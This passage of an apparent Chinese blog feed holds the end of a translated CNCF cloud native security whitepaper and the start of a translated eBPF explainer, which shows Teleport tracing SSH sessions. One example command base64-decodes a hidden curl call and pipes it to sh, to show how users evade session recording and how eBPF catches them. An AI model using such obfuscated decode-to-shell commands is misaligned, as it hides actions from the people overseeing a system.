&lt;h3 id=&#34;医疗&#34;&gt;医疗&lt;/h3&gt;

&lt;p&gt;医疗保健行业关注的核心领域是未经授权的信息披露、记录的及时性和可用性以及记录的准确性，这些都是采用云原生技术成败的决定性因素。由于医疗行业的性质和实践，记录及其相关内容的可用性是做出医疗决策的基础。在没有这些信息的情况下，就会形成新的记录。&lt;/p&gt;

&lt;h3 id=&#34;学术和教育&#34;&gt;学术和教育&lt;/h3&gt;

&lt;p&gt;教育机构成功采用云原生技术的核心关注领域可能取决于预期的最终用户。面向未成年人的机构可能有额外的法律要求，以保护未成年人的机密性，因此要重视访问控制能力。除此以外，各机构应关注教育内容对终端用户的可用性。&lt;/p&gt;

&lt;h3 id=&#34;公共领域&#34;&gt;公共领域&lt;/h3&gt;

&lt;p&gt;公共部门组织关注的核心领域是安全、数据主权、合规性和供应商锁定，这些领域对于成功的云原生至关重要。这些障碍来自于机构为保护公共利益而制定的法规。在公共部门，保持公共和政府实体之间的和谐和信任是必须保障的。此外，部署和功能的及时性也可能是一个强有力的考虑因素。采用云原生，加上现代方法论，可以提高组织效率，这对公共部门的许多领域会产生极大促进。&lt;/p&gt;

&lt;h3 id=&#34;云原生安全的演变&#34;&gt;云原生安全的演变&lt;/h3&gt;

&lt;p&gt;容器技术是一个不断发展的领域，得到了广泛的应用。云原生技术的威胁状况以及在缓解和解决这些威胁的方法也在不断变化。除了安全容器平台的复杂生态系统外，这些都需要一个全面制定、深思熟虑的安全策略，并对安全策略的执行、响应和操作纪律进行技术控制和自动化。&lt;/p&gt;

&lt;p&gt;如果实施得当，容器可以提供巨大的安全优势。它们提供了更大的透明度、模块化、减少攻击面、更容易的应用组件更新以及应用组件运行的一致环境。这种一致性使得并行安全能够在开发、测试和生产运行环境中茁壮成长。它们还可以减少企业范围内安全事件的影响，当实现应用程序之间建立的适当隔离时（基本上可以在可能拥有扁平网络的企业中实现微观分段），作为分层防御-深度安全策略的一部分。&lt;/p&gt;

&lt;p&gt;在当前安全方面的所有挑战、所需安全工具的数量以及市场上技能和人才的短缺，确保容器平台的安全是一个巨大的挑战。我们预计，随着云提供商提供的容器服务产品越来越成熟，在互不兼容的规范上集成了更多的云原生安全与智能工具，我们将看到更多的迁移到云端。这些产品作为共同责任模式的一部分，最终会降低企业的开销。&lt;/p&gt;

&lt;p&gt;因此容器的采用、以及云原生的采用，将继续推动企业的数字化转型进程。企业已经开始尝试 Serverless 架构和设计来提供一些服务，但考虑到在编排 Function 构建业务功能时，可视性降低的挑战，以及现有的大量尚未知晓的安全挑战，使用 Serverless 构建整个业务功能仍在发展阶段。简而言之，随着服务提供商的安全控制以类似于现有容器生态系统的方式减少消费者的开销，Serverless 在云原生架构中的应用预计将随着时间的推移而增加。&lt;/p&gt;

&lt;p&gt;然而，威胁状况总体上保持不变，顶级弱点始终被同一组攻击者利用。我们看到的最显著的变化是攻击者针对云原生组织和应用采取的攻击方式和机制。任何针对容器编排者和部署的攻击都在增加，这一点从通过渗透或木马镜像进行的挖矿行为可以看出。与任何开始达到市场饱和的创新技术一样，攻击者会利用任何可用机会。&lt;/p&gt;

&lt;p&gt;随着这些攻击变得更普遍、更复杂、更扩大，云原生安全必须不断发展，企业和 DevOps 团队需要更加重视。我们看到安全策略即代码的案例越来越多，但在安全策略的执行、检测和响应方面，还有很大的演进和增加自动化的空间。很明显，即时和自动化的安全智能和响应将是挫败攻击，甚至从攻击中自我修复的关键。甚至可能在§[^9]发生时进行调整和整合。&lt;/p&gt;

&lt;p&gt;容器取证工具和技术将需要不断发展，以跟上云原生的发展方向。这一点尤为重要，因为在基础设施即服务和其他即服务模式的背景下，事件的数量和复杂性都在增加。&lt;/p&gt;

&lt;h3 id=&#34;结论-1&#34;&gt;结论&lt;/h3&gt;

&lt;p&gt;在过去的十五年里，社区见证了云服务和技术的快速应用，最近更是大力推动云原生模式的发展。如同安全行业的任何新商品一样，创新者们都在不断摸索和推进技术的早期应用和测试。&lt;/p&gt;

&lt;p&gt;处于技术鸿沟边缘或早期多数的组织，应认真分析和应用核心安全概念，以缓解加固和环境控制的滞后现状。&lt;/p&gt;

&lt;p&gt;虽然对于我们今天看到的和未来即将出现的大多数创新来说，可能还不存在针对安全的指导和控制，但在设计、开发和部署新功能时，可以持续应用云原生架构中的核心安全概念。&lt;/p&gt;

&lt;p&gt;这些核心安全概念是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;防止未经授权的访问（个人和非个人实体）通过持续地从已知的良好状态重新建立基础，减少资产对未经授权实体的暴露。&lt;/li&gt;
&lt;li&gt;不变性以保持内容和代码的完整性。&lt;/li&gt;
&lt;li&gt;服务、工具和内容的可用性——分布提供弹性和冗余。&lt;/li&gt;
&lt;li&gt;审计和问责——提供了一个机制来确保合规，并跟踪授权的变化。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;p&gt;NIST 800-204 Security Strategies for Microservices-based Application Systems&lt;/p&gt;

&lt;p&gt;NIST 800-190 Application Container Security Guide&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.cisecurity.org/benchmark/Kubernetes/&#34; target=&#34;_blank&#34;&gt;https://www.cisecurity.org/benchmark/Kubernetes/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://insights.sei.cmu.edu/sei_blog/2018/12/threat-modeling-12-available-methods.html&#34; target=&#34;_blank&#34;&gt;Threat Modeling: 12 Available Methods&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://owasp.org/www-community/Application_Threat_Modeling&#34; target=&#34;_blank&#34;&gt;https://owasp.org/www-community/Application_Threat_Modeling&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf&#34; target=&#34;_blank&#34;&gt;NIST Application Security Container Guide&lt;/a&gt;, &lt;a href=&#34;https://www.cisecurity.org/&#34; target=&#34;_blank&#34;&gt;Center for Internet Security (CIS)&lt;/a&gt;, &lt;a href=&#34;https://csrc.nist.gov/publications/detail/sp/800-204/final&#34; target=&#34;_blank&#34;&gt;NIST Security Strategies for microservices&lt;/a&gt; and &lt;a href=&#34;https://www.open-scap.org/&#34; target=&#34;_blank&#34;&gt;OpenSCAP&lt;/a&gt; benchmarks exist for &lt;a href=&#34;https://www.cisecurity.org/benchmark/docker/&#34; target=&#34;_blank&#34;&gt;Docker&lt;/a&gt;, &lt;a href=&#34;https://www.cisecurity.org/benchmark/kubernetes/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt;, and several managed Kubernetes distributions.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.darkreading.com/threat-intelligence/microsofts-kubernetes-threat-matrix-heres-whats-missing/a/d-id/1339106&#34; target=&#34;_blank&#34;&gt;MITRE ATT&amp;amp;CK Matrix For Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;致谢&#34;&gt;致谢&lt;/h3&gt;

&lt;p&gt;This white paper is a community effort driven by the members of the CNCF Security-SIG. Thank you to everyone for their outstanding contributions. Special thanks to Emily Fox and Jeyappragash JJ.&lt;/p&gt;

&lt;p&gt;Contributors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aradhna Chetal - &lt;a href=&#34;http://tiaa.org/&#34; target=&#34;_blank&#34;&gt;TIAA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Brandon Lum - &lt;a href=&#34;https://www.ibm.com/&#34; target=&#34;_blank&#34;&gt;IBM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Chase Pettet - &lt;a href=&#34;https://www.mirantis.com/&#34; target=&#34;_blank&#34;&gt;Mirantis&lt;/a&gt; (Chase.Pettet@mirantis.com)&lt;/li&gt;
&lt;li&gt;Emily Fox - &lt;a href=&#34;https://www.nsa.gov/&#34; target=&#34;_blank&#34;&gt;US National Security Agency (NSA)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gadi Naor - &lt;a href=&#34;http://www.alcide.io/&#34; target=&#34;_blank&#34;&gt;Alcide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Harmeet Singh - &lt;a href=&#34;https://www.ibm.com/&#34; target=&#34;_blank&#34;&gt;IBM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jeff Lombardo - Independent&lt;/li&gt;
&lt;li&gt;Jeyappragash JJ - &lt;a href=&#34;https://www.tetrate.io/&#34; target=&#34;_blank&#34;&gt;Tetrate IO&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pushkar Joglekar - &lt;a href=&#34;https://visa.com/&#34; target=&#34;_blank&#34;&gt;Visa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Rowan Baker - &lt;a href=&#34;https://control-plane.io/&#34; target=&#34;_blank&#34;&gt;ControlPlane&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Andrew Martin - &lt;a href=&#34;https://control-plane.io/&#34; target=&#34;_blank&#34;&gt;ControlPlane&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Trishank Karthik Kuppusamy - &lt;a href=&#34;https://www.datadoghq.com/&#34; target=&#34;_blank&#34;&gt;Datadog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vinay Venkataraghavan -&lt;a href=&#34;https://www.paloaltonetworks.com/prisma/cloud&#34; target=&#34;_blank&#34;&gt;Prisma Cloud (Palo Alto Networks)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Wayne Haber - &lt;a href=&#34;https://about.gitlab.com/&#34; target=&#34;_blank&#34;&gt;GitLab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mark Bower&lt;/li&gt;
&lt;li&gt;Alex Chircop - StorageOS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reviewers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;@justincappos&lt;/li&gt;
&lt;li&gt;@lumjjb&lt;/li&gt;
&lt;li&gt;@whaber&lt;/li&gt;
&lt;li&gt;@craigbox&lt;/li&gt;
&lt;li&gt;@anvega&lt;/li&gt;
&lt;li&gt;@magnologan&lt;/li&gt;
&lt;li&gt;Alok Raj - &lt;a href=&#34;https://www.xenonstack.com/&#34; target=&#34;_blank&#34;&gt;XenonStack&lt;/a&gt; (&lt;a href=&#34;mailto:alok@xenonstack.com&#34; target=&#34;_blank&#34;&gt;alok@xenonstack.com&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;@nyrahul&lt;/li&gt;
&lt;li&gt;@ranio1&lt;/li&gt;
&lt;li&gt;@lizrice&lt;/li&gt;
&lt;li&gt;@justincormack&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;[1^]: Another model to consider is Cloud, Clusters, Containers, and Code: &lt;a href=&#34;https://kubernetes.io/docs/concepts/security/overview/&#34; target=&#34;_blank&#34;&gt;https://kubernetes.io/docs/concepts/security/overview/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2^]: Example - &lt;a href=&#34;https://www.darkreading.com/threat-intelligence/microsofts-kubernetes-threat-matrix-heres-whats-missing/a/d-id/1339106&#34; target=&#34;_blank&#34;&gt;MITRE ATT&amp;amp;CK Framework for Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[3^]: &lt;a href=&#34;https://www.devsecops.org/blog/2016/5/20/-security&#34; target=&#34;_blank&#34;&gt;Shifting security left&lt;/a&gt; often leaves organizations to lapse operational security monitoring. It is important that security exists in all parts of the lifecycle and organizations continually evaluate other aspects of their business and technology processes where they may reach beyond modern security paradigms to embrace security as a culture and habit.&lt;/p&gt;

&lt;p&gt;[4^]: Human capital is a vital asset necessary to the success of any organization, the corresponding intellectual property and relational capital brought as a result is equally in need of protection.&lt;/p&gt;

&lt;p&gt;[5^] &lt;a href=&#34;https://blog.aquasec.com/malicious-container-image-docker-container-host&#34; target=&#34;_blank&#34;&gt;https://blog.aquasec.com/malicious-container-image-docker-container-host&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[6^]: According to Applied Software Measurement, Capers Jones, 1996 and adjusting for inflation - 85% of defects are introduced during coding with a cost of $41 to fix compared to a post release fix cost of $26,542.&lt;/p&gt;

&lt;p&gt;[7^]: cisecurity.org maintains a listing of benchmarks for hardening&lt;/p&gt;

&lt;p&gt;[8^] It is critical to note that while authentication is available for use, &lt;a href=&#34;#zero-trust-architecture&#34;&gt;mutual authentication&lt;/a&gt; is the preferred mechanism to not only verify the client but also the server (outsider versus insider).&lt;/p&gt;

&lt;p&gt;[9^]: Utilization of a VPN does not guarantee encryption.&lt;/p&gt;

&lt;p&gt;[10^]: The concept of regression proofing is best explained as a facet of antifragile behaviors within technology environments. Instead of remaining resilient and robust against adverse conditions and attacks, technology can proactively adapt and thrive when subjected to them.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>eBPF 概念和基本原理</title>
      <link>/post/what-is-ebpf/</link>
      <pubDate>Fri, 13 Nov 2020 21:16:35 +0800</pubDate>
      <guid>/post/what-is-ebpf/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://gravitational.com/blog/what-is-ebpf/&#34; target=&#34;_blank&#34;&gt;What is eBPF and How Does it Work?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.linkedin.com/in/virag-mody-650974a9&#34; target=&#34;_blank&#34;&gt;Virag Mody&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;大约一年前，有个朋友想要用 Rust 开发一个 &lt;a href=&#34;https://medium.com/mycrypto/the-ethereum-virtual-machine-how-does-it-work-9abac2b7c9e&#34; target=&#34;_blank&#34;&gt;EVM Assembler&lt;/a&gt;。在他的一再要求之下，我开始帮忙编写单元测试。那时候我还不大了解操作系统的相关知识，只好开始学习一些语法和词法方面的东西。很快这个事情就无以为继了，然而我对操作系统有了一些整体了解。之后他对 eBPF 赞赏有加时，我觉得我的春天又来了。&lt;/p&gt;

&lt;p&gt;eBPF 的门槛有点高，有 500 字的小品，也有 &lt;a href=&#34;https://cilium.io/&#34; target=&#34;_blank&#34;&gt;Cilium&lt;/a&gt; 铺天盖地的文档。我编写本文的目的，是针对这一新技术读者提供一个全面的入门介绍，用户可以以此为基础，进行进一步的探索。后续可以阅读 &lt;a href=&#34;https://lwn.net/Articles/740157/&#34; target=&#34;_blank&#34;&gt;Linux Weekly News&lt;/a&gt;、&lt;a href=&#34;http://www.brendangregg.com/index.html&#34; target=&#34;_blank&#34;&gt;Brenden Gregg 的网站&lt;/a&gt; 以及 &lt;a href=&#34;https://docs.cilium.io/en/stable/bpf/&#34; target=&#34;_blank&#34;&gt;Cilium 文档&lt;/a&gt;学习更多相关知识。本文设计的内容包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;eBPF 的用处&lt;/li&gt;
&lt;li&gt;eBPF 的原理&lt;/li&gt;
&lt;li&gt;eBPF 的实例&lt;/li&gt;
&lt;li&gt;如何开始使用 eBPF&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;ebpf-的用处&#34;&gt;eBPF 的用处&lt;/h2&gt;

&lt;p&gt;有了 eBPF，无需修改内核，也不用加载内核模块，程序员也能在内核中执行自定义的字节码。eBPF 和内核紧密联系，下面先介绍一些相关的基本概念。&lt;/p&gt;

&lt;p&gt;Linux 系统分为内核空间和用户空间。内核空间是操作系统的核心，对所有硬件都具备不受限制的完整的访问能力，例如内存、存储以及 CPU 等。内核既然具备了这样的超级权限，势必需要严加保护，仅允许运行最可靠的代码。而用户空间运行的就是非内核的进程——例如 I/O、文件系统等。这些进程仅能通过内核开放的系统调用，对硬件进行有限的访问。换句话说，用户空间的程序一定要经过内核空间的过滤。&lt;/p&gt;

&lt;p&gt;系统调用接口能够满足绝大多数需要，开发者在面对新的硬件、文件系统、网络协议甚至自定义的系统调用时，还是需要更多的弹性的。在不修改内核源码的情况下，用户代码要直接访问硬件怎么办呢？可以使用 &lt;a href=&#34;https://tldp.org/LDP/lkmpg/2.6/html/lkmpg.html&#34; target=&#34;_blank&#34;&gt;Linux 内核模块（LKM）&lt;/a&gt;。用户空间一般是需要通过系统调用来访问内核空间，而 LKM 是直接加载到内核的，是内核的一部分。LKM 最有价值的特点之一，就是可以在运行时加载，不用编译内核也不用重启机器。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;image/what-is-ebpf-1.png&#34; alt=&#34;what is ebpf 1&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 1：LKM 的动态加载和卸载&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;LKM 非常有用，但是也引入了很多风险。内核和用户空间不同，要进行不同的安全考量。内核空间是为了操作系统内核这样的特权代码准备的。系统调用连接了内核和用户空间，让用户空间能够对硬件进行合适的操作。换个说法，LKM 是能够让内核崩溃的。模块和内核的紧密关系，使得安全和升级成本直线升高。&lt;/p&gt;

&lt;h3 id=&#34;ebpf-是什么&#34;&gt;eBPF 是什么&lt;/h3&gt;

&lt;p&gt;eBPF 是一个用于访问 Linux 内核服务和硬件的新方法。这一新技术已经用于网络、出错、跟踪以及防火墙等方面。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dtrace&lt;/code&gt; 是一个 Solaris 和 BSD 操作系统上的动态跟踪工具，eBPF 受到 &lt;code&gt;dtrace&lt;/code&gt; 的启发，原意是设计一个更好的 Linux 跟踪工具。跟 &lt;code&gt;dtrace&lt;/code&gt; 不同的是，Linux 无法获取运行中系统的鸟瞰视图，它被系统调用、库调用以及函数所限制。一小撮工程师在 Berkeley Packet Filter（BPF）基础之上，构建一个内核虚拟机级别的包过滤机制，提供了类似 &lt;code&gt;dtrace&lt;/code&gt; 的功能。2014 年第一个版本适配了 Linux 3.18，提供的功能相对较少。要使用完整的 eBPF，需要 Linux 4.4 或以上。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/what-is-ebpf-2.png&#34; alt=&#34;what is ebpf 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图对 eBPF 架构进行了一个简单的展示。eBPF 程序需要满足一系列的需求，才能被加载到内核。&lt;a href=&#34;https://github.com/torvalds/linux/blob/master/kernel/bpf/verifier.c&#34; target=&#34;_blank&#34;&gt;Verifier&lt;/a&gt; 中有一万多行代码用来对 eBPF 程序进行检查。Verifier 会遍历对 eBPF 程序在内核中可能的执行路径进行遍历，确保程序能够在不出现导致内核锁定的循环的情况下运行完成。除此之外还有其它必须满足的检查，例如有效的寄存器状态、程序大小以及越界等。安全控制方面，eBPF 和 LKM 是颇有差异的。&lt;/p&gt;

&lt;p&gt;如果所有的检查都通过了，eBPF 程序被加载并编译到内核中，并监听特定的信号。该信号以事件的形式出现，会被传递给被加载的 eBPF 程序。一旦被触发，字节码就会根据其中的指令执行并收集信息。&lt;/p&gt;

&lt;p&gt;所以 eBPF 到底做了什么？程序员能够在不增加或者修改内核代码的情况下，就能够在 Linux 内核中执行自定义的字节码。虽说还远不能整体取代 LKM，eBPF 程序可以自定义代码来和受保护的硬件资源进行交互，对内核的威胁最小。&lt;/p&gt;

&lt;h2 id=&#34;ebpf-的机制&#34;&gt;eBPF 的机制&lt;/h2&gt;

&lt;p&gt;前面介绍了 eBPF 的基础架构。这些能力是由多个组件协同实现的，每一种都有自己的复杂度。&lt;/p&gt;

&lt;h3 id=&#34;ebpf-程序剖析&#34;&gt;eBPF 程序剖析&lt;/h3&gt;

&lt;h4 id=&#34;事件和钩子&#34;&gt;事件和钩子&lt;/h4&gt;

&lt;p&gt;eBPF 程序是在内核中被事件触发的。在一些特定的指令被执行时时，这些事件会在钩子处被捕获。钩子被触发就会执行 eBPF 程序，对数据进行捕获和操作。钩子定位的多样性正是 eBPF 的闪光点之一。例如下面几种：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;系统调用：当用户空间程序通过系统调用执行内核功能时。&lt;/li&gt;
&lt;li&gt;功能的进入和退出：在函数退出之前拦截调用。&lt;/li&gt;
&lt;li&gt;网络事件：当接收到数据包时。&lt;/li&gt;
&lt;li&gt;kprobe 和 uprobe：挂接到内核或用户函数中。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;辅助函数&#34;&gt;辅助函数&lt;/h4&gt;

&lt;p&gt;eBPF 程序被触发时，会调用辅助函数。这些特别的函数让 eBPF 能够有访问内存的丰富功能。例如 Helper 能够执行一系列的任务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在数据表中对键值对进行搜索、更新以及删除。&lt;/li&gt;
&lt;li&gt;生成伪随机数。&lt;/li&gt;
&lt;li&gt;搜集和标记隧道元数据。&lt;/li&gt;
&lt;li&gt;把 eBPF 程序连接起来，这个功能被称为 &lt;code&gt;tail call&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;执行 Socket 相关任务，例如绑定、获取 Cookie、数据包重定向等。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些助手函数必须是内核定义的，换句话说，eBPF 程序的调用能力是受到一个白名单限制的。这个&lt;a href=&#34;https://man7.org/linux/man-pages/man7/bpf-helpers.7.html&#34; target=&#34;_blank&#34;&gt;名单&lt;/a&gt;很长，并且还在持续增长之中。&lt;/p&gt;

&lt;h4 id=&#34;map&#34;&gt;Map&lt;/h4&gt;

&lt;p&gt;要在 eBPF 程序和内核以及用户空间之间存储和共享数据，eBPF 需要使用 Map。正如其名，Map 是一种键值对。Map 能够支持多种数据结构，eBPF 程序能够通过辅助函数在 Map 中发送和接收数据。&lt;/p&gt;

&lt;h3 id=&#34;执行-ebpf-程序&#34;&gt;执行 eBPF 程序&lt;/h3&gt;

&lt;h4 id=&#34;加载和校验&#34;&gt;加载和校验&lt;/h4&gt;

&lt;p&gt;所有 eBPF 程序都是以字节码的形式执行的，因此需要有办法把高级语言编译成这种字节码。eBPF 使用 &lt;a href=&#34;https://llvm.org/&#34; target=&#34;_blank&#34;&gt;LLVM&lt;/a&gt; 作为后端，前端可以介入任何语言。因为 eBPF 使用 C 编写的，所以前端使用的是 &lt;a href=&#34;https://clang.llvm.org/&#34; target=&#34;_blank&#34;&gt;Clang&lt;/a&gt;。但在字节码被 Hook 之前，必须通过一系列的检查。在一个类似虚拟机的环境下用&lt;a href=&#34;https://elixir.bootlin.com/linux/latest/source/kernel/bpf/verifier.c&#34; target=&#34;_blank&#34;&gt;内核 Verifier&lt;/a&gt;阻止带有循环、权限不正确或者导致崩溃的程序运行。如果程序通过了所有的检查，字节码会使用 &lt;code&gt;bpf()&lt;/code&gt; 系统调用被载入到 Hook 上。&lt;/p&gt;

&lt;h4 id=&#34;jit-编译器&#34;&gt;JIT 编译器&lt;/h4&gt;

&lt;p&gt;校验结束后，eBPF 字节码会被 JIT 编译器转译成本地机器码。eBPF 是 64 位编码，共有 11 个寄存器，因此 eBPF 和 x86、ARM 以及 arm64 等硬件都能紧密对接。虽然 eBPF 受到 VM 限制，JIT 过程保障了它的运行性能。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/what-is-ebpf-3.png&#34; alt=&#34;what-is-ebpf-3.png&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;总结&#34;&gt;总结&lt;/h3&gt;

&lt;p&gt;上面的概念们放在一起，eBPF 程序通过安全检查后插入钩子，被事件触发之后，程序会启动执行，用辅助函数和 Map 来对数据进行存储和操作。下一届我们来研究一下它们的协同方式。&lt;/p&gt;

&lt;h2 id=&#34;一个例子&#34;&gt;一个例子&lt;/h2&gt;

&lt;p&gt;在 Gravitational 有一个叫做 Teleport 的开源项目，其中使用了 eBPF 程序进行跟踪和网络操作。有的组织希望知道 SSH 会话中发生了什么，&lt;a href=&#34;https://gravitational.com/teleport&#34; target=&#34;_blank&#34;&gt;Teleport&lt;/a&gt; 提供 SSH 访问途径的同时，加入了对用户行为的记录。可以通过对命令编码、在 Shell 脚本中运行命令的方式来进行混淆，从而阻碍对会话的记录。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://gravitational.com/blog/teleport-release-4-2&#34; target=&#34;_blank&#34;&gt;Teleport 4.2&lt;/a&gt; 中，我们引入了会话记录，其中用了三个 eBPF 程序来获取 SSH 会话，并将其转化为结构化的事件。&lt;/p&gt;

&lt;p&gt;例如 &lt;code&gt;echo Y3VybCBodHRwOi8vd3d3LmV4YW1wbGUuY29tCg== | base64 --decode | sh&lt;/code&gt;，我们能够在终端抓取到这个命令，但是这并无意义，用户已经对命令进行了混淆，但是有了 eBPF，我们就能知道，用户试图隐藏的是 &lt;code&gt;curl&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;event&amp;quot;: &amp;quot;session.command&amp;quot;,
  &amp;quot;path&amp;quot;: &amp;quot;/bin/sh&amp;quot;,
  &amp;quot;program&amp;quot;: &amp;quot;sh&amp;quot;,
  &amp;quot;argv&amp;quot;: [],
  &amp;quot;login&amp;quot;: &amp;quot;centos&amp;quot;,
  &amp;quot;user&amp;quot;: &amp;quot;jsmith&amp;quot;
}
{
  &amp;quot;event&amp;quot;: &amp;quot;session.command&amp;quot;,
  &amp;quot;path&amp;quot;: &amp;quot;/bin/base64&amp;quot;,
  &amp;quot;program&amp;quot;: &amp;quot;base64&amp;quot;,
  &amp;quot;argv&amp;quot;: [
    &amp;quot;--decode&amp;quot;
  ],
  &amp;quot;login&amp;quot;: &amp;quot;centos&amp;quot;,
  &amp;quot;user&amp;quot;: &amp;quot;jsmith&amp;quot;
}
{
  &amp;quot;event&amp;quot;: &amp;quot;session.command&amp;quot;,
  &amp;quot;path&amp;quot;: &amp;quot;/bin/curl&amp;quot;,
    &amp;quot;argv&amp;quot;: [
    &amp;quot;http://www.example.com&amp;quot;
  ],
  &amp;quot;program&amp;quot;: &amp;quot;curl&amp;quot;,
  &amp;quot;return_code&amp;quot;: 0,
  &amp;quot;login&amp;quot;: &amp;quot;centos&amp;quot;,
  &amp;quot;user&amp;quot;: &amp;quot;jsmith&amp;quot;
}
{
  &amp;quot;event&amp;quot;: &amp;quot;session.network&amp;quot;,
  &amp;quot;program&amp;quot;: &amp;quot;curl&amp;quot;,
  &amp;quot;src_addr&amp;quot;: &amp;quot;172.31.43.104&amp;quot;,
  &amp;quot;dst_addr&amp;quot;: &amp;quot;93.184.216.34&amp;quot;,
  &amp;quot;dst_port&amp;quot;: 80,
  &amp;quot;login&amp;quot;: &amp;quot;centos&amp;quot;,
  &amp;quot;user&amp;quot;: &amp;quot;jsmith&amp;quot;,
  &amp;quot;version&amp;quot;: 4
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;借助 eBPF 的能力，我们把这种混淆行为转换为事件流，便于导出和分析。Teleport 用 &lt;code&gt;execsnoop&lt;/code&gt;、&lt;code&gt;opensnoop&lt;/code&gt; 以及 &lt;code&gt;tcpconnect&lt;/code&gt; 来恢复这些事件。特别会关注的是 &lt;code&gt;tcpconnect&lt;/code&gt;，它最终将信息以 JSON 的形式返回来。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/what-is-ebpf-4.png&#34; alt=&#34;what-is-ebpf-4.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tcpconnect&lt;/code&gt; 会跟踪 TCP 连接。像 Teleport 这样用 SSH 证书管理访问的工具来说，必须要知道 TCP 连接的发起情况。&lt;code&gt;tcpconnect&lt;/code&gt; 能跟踪 &lt;code&gt;connect()&lt;/code&gt; 系统调用，该调用会在 Socket 上初始化一个连接。要对这个情况进行跟踪，tcpconnect 在内核中插入了一个 &lt;code&gt;kprobe&lt;/code&gt;，能够动态进入任何例程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-C&#34;&gt;# initialize
BPF b = BPF(text=bpf_text) b.attach_kprobe(event=&amp;quot;tcp_v4_connect&amp;quot;, fn_name=&amp;quot;trace_connect_entry&amp;quot;) b.attach_kretprobe(event=&amp;quot;tcp_v4_connect&amp;quot;, fn_name=&amp;quot;trace_connect_v4_return&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;程序被触发以后，&lt;code&gt;tcpconnect&lt;/code&gt; 会开始输出信息，下表展示的就是这样的信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ./tcpconnect
PID   COMM  SADDR             DADDR           DPORT
-----------------------------------------------------
2315  curl  172.31.43.104     93.184.216.34   80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有这些数据都是用辅助函数收集而来。如果看看 &lt;a href=&#34;https://github.com/iovisor/bcc/blob/ec3747ed6b16f9eec36a204dfbe3506d3778dcb4/tools/tcpconnect.py&#34; target=&#34;_blank&#34;&gt;Python 代码&lt;/a&gt;，会发现 &lt;code&gt;tcpconnect&lt;/code&gt; 试用了来自 &lt;a href=&#34;https://github.com/iovisor/bcc/blob/master/src/cc/export/helpers.h&#34; target=&#34;_blank&#34;&gt;bcc 的 BPF 库&lt;/a&gt;的辅助函数来对上述输出内容进行格式化。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-c&#34;&gt;...
struct ipv4_data_t data4 = {.pid = pid, .ip = ipver}; 
data4.saddr = skp-&amp;gt;__sk_common.skc_rcv_saddr; 
data4.daddr = skp-&amp;gt;__sk_common.skc_daddr; 
data4.dport = ntohs(dport); 
bpf_get_current_comm(&amp;amp;data4.task, sizeof(data4.task));
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;ebpf-入门&#34;&gt;eBPF 入门&lt;/h2&gt;

